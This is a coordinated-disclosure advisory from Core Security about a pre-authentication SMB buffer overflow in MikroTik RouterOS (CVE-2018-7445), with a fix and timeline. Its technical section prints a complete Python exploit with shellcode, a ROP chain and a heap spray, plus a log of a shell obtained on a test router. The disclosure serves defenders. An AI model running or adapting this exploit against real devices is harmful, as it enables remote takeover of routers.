Message-ID: <6537e5d8-4756-f889-e6bf-19935406dc6b@coresecurity.com> Date: Thu, 15 Mar 2018 15:13:22 -0300 From: Core Security Advisories Team <advisories@...esecurity.com> To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org Subject: [FD] [CORE-2018-0003] MikroTik RouterOS SMB Buffer Overflow Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MikroTik RouterOS SMB Buffer Overflow 1. **Advisory Information** Title: MikroTik RouterOS SMB Buffer Overflow Advisory ID: CORE-2018-0003 Advisory URL: http://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow Date published: 2018-03-15 Date of last update: 2018-03-01 Vendors contacted: MikroTik Release mode: Coordinated release 2. **Vulnerability Information** Class: Stack-based Buffer Overflow [CWE-121] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2018-7445 3. **Vulnerability Description*** * MikroTik is a Latvian company which was founded in 1996 to develop routers and wireless ISP systems. MikroTik now provides hardware and software for Internet connectivity in most of the countries around the world. RouterOS is MikroTik's stand-alone operating system based on Linux v3.3.5 kernel. A buffer overflow was found in the MikroTik RouterOS SMB service when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system. The overflow occurs before authentication takes place, so it is possible for an unauthenticated remote attacker to exploit it. 4. **Vulnerable Packages** . All architectures and all devices running RouterOS before versions 6.41.3/6.42rc27 5. **Vendor Information, Solutions and Workarounds** . MikroTik released version 6.41.3 of RouterOS [1] that fixes the reported issue. . The workaround suggested by MikroTik in case it is not possible to install an update consists of disabling the SMB service. 6. **Credits** This vulnerability was discovered and researched by Juan Caillava and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. **Technical Description / Proof of Concept Code*** * The overflow takes place in the function in charge of parsing NetBIOS names, which receives two stack allocated buffers as parameters. As an example reference, this function is located at address 0x08054607 on the x86 SMB binary version 6.40.5. The first byte of the source buffer is read and used as the size for the copy operation. The function then copies that amount of bytes into the destination buffer. Once that is done, the next byte of the source buffer is read and used as the new size. This loop finishes when the size to copy is equal to zero. No validation is done to ensure that the data fits on the destination buffer, resulting in a stack overflow. Simplified pseudo-code of the vulnerable function: /----- int parse_names(char *dst, char *src) { int len; int i; int offset; // take the length of the first string len = *src; offset = 0; while (len) { // copy the bytes of the string into the destination buffer for (i = offset; (i - offset) < len; ++i) { dst[i] = src[i+1]; } // take the length of the next string len = src[i+1]; // if it exists, then add a separator if (len) { dst[i] = "."; } // start over with the next string offset = i + 1; } // nul-terminate the string dst[offset] = 0; return offset; } -----/ It is possible to reach this function by sending a NetBIOS session request message. We will demonstrate code execution targeting the x86 Cloud Hosted Router and develop a proof of concept exploit. How to approach the exploitation depends on the specifics of the targeted device and architecture. In the case of Cloud Hosted Router on x86, we will have to deal with DEP and ASLR. In order to bypass DEP, we will build a ROP chain to call 'mprotect' and mark a memory region as both writable and executable. In terms of ASLR, we found that even though the base address of the stack and the loaded libraries was randomized, the base address of the heap was not. Therefore, it is possible to store a large payload on the heap to act as a NOP sled right before triggering the vulnerable function and jump to a fixed location in this region. Our testing showed this approach to be extremely reliable. The proof of concept exploit presented below illustrates this process, reusing the connection socket to spawn a shell and execute arbitrary commands on the system. /----- #!/usr/bin/env python import socket import struct import sys import telnetlib NETBIOS_SESSION_MESSAGE = "\x00" NETBIOS_SESSION_REQUEST = "\x81" NETBIOS_SESSION_FLAGS = "\x00" # trick from http://shell-storm.org/shellcode/files/shellcode-881.php # will place the socket file descriptor in eax find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48" # dup stdin-stdout-stderr so we can reuse the existing connection dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9" # execve - cannot pass the 2nd arg as NULL or busybox will complain execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # build shellcode shellcode = find_sock_fd + dup_fds + execve_bin_sh # rop to mprotect and make the heap executable # the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it p = lambda x : struct.pack('I', x) rop = "" rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; rop += p(0x08072000) # ebx -> heap base rop += p(0xffffffff) # ebp -> gibberish rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; rop += p(0x14000) # ecx -> size for mprotect rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC rop += p(0xffffffff) # edi -> gibberish rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x0000007d) # ebp -> mprotect system call rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0) # edx -> zeroed out rop += p(0x0) # ecx -> zeroed out rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap offset_to_regs = 83 # we do not really care about the initial register values other than overwriting the saved ret address ebx = p(0x45454545) esi = p(0x45454545) edi = p(0x45454545) ebp = p(0x45454545) eip = p(0x0804886c) # 0x0804886c: ret; payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload)) buf = header + payload def open_connection(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 139)) return s def store_payload(s): print "[+] storing payload on the heap" s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode) def crash_smb(s): print "[+] getting code execution" s.send(buf) if __name__ == "__main__": if len(sys.argv) != 2: print "%s ip" % sys.argv[0] sys.exit(1) s = open_connection(sys.argv[1]) store_payload(s) # the server closes the first connection, so we need to open another one t = telnetlib.Telnet() t.sock = open_connection(sys.argv[1]) crash_smb(t.sock) print "[+] got shell?" t.interact() -----/ The following excerpt shows the successful exploitation of a remote SMB service. /----- [admin@...roTik] > ip smb print enabled: yes domain: MSHOME comment: MikrotikSMB allow-guests: yes interfaces: all [admin@...roTik] > ip address print Flags: X - disabled, I - invalid, D - dynamic # ADDRESS NETWORK INTERFACE 0 D 192.168.0.249/24 192.168.0.0 ether1 -----/ /----- $ python smb_exploit.py 192.168.0.249 [+] storing payload on the heap [+] getting code execution [+] got shell? sh: turning off NDELAY mode uname -a Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 unknown -----/ 8. **Report Timeline** . 2018-02-19: Core Security sent an initial notification to MikroTik. . 2018-02-19: Core Security noticed that a candidate release addresses the vulnerability. . 2018-02-21: MikroTik answered saying that they were planning to release a final version with a fix for SMB the week of 26th of February and asked for additional information. . 2018-02-21: Core Security thanked MikroTik's answer and sent a draft advisory with a technical description.
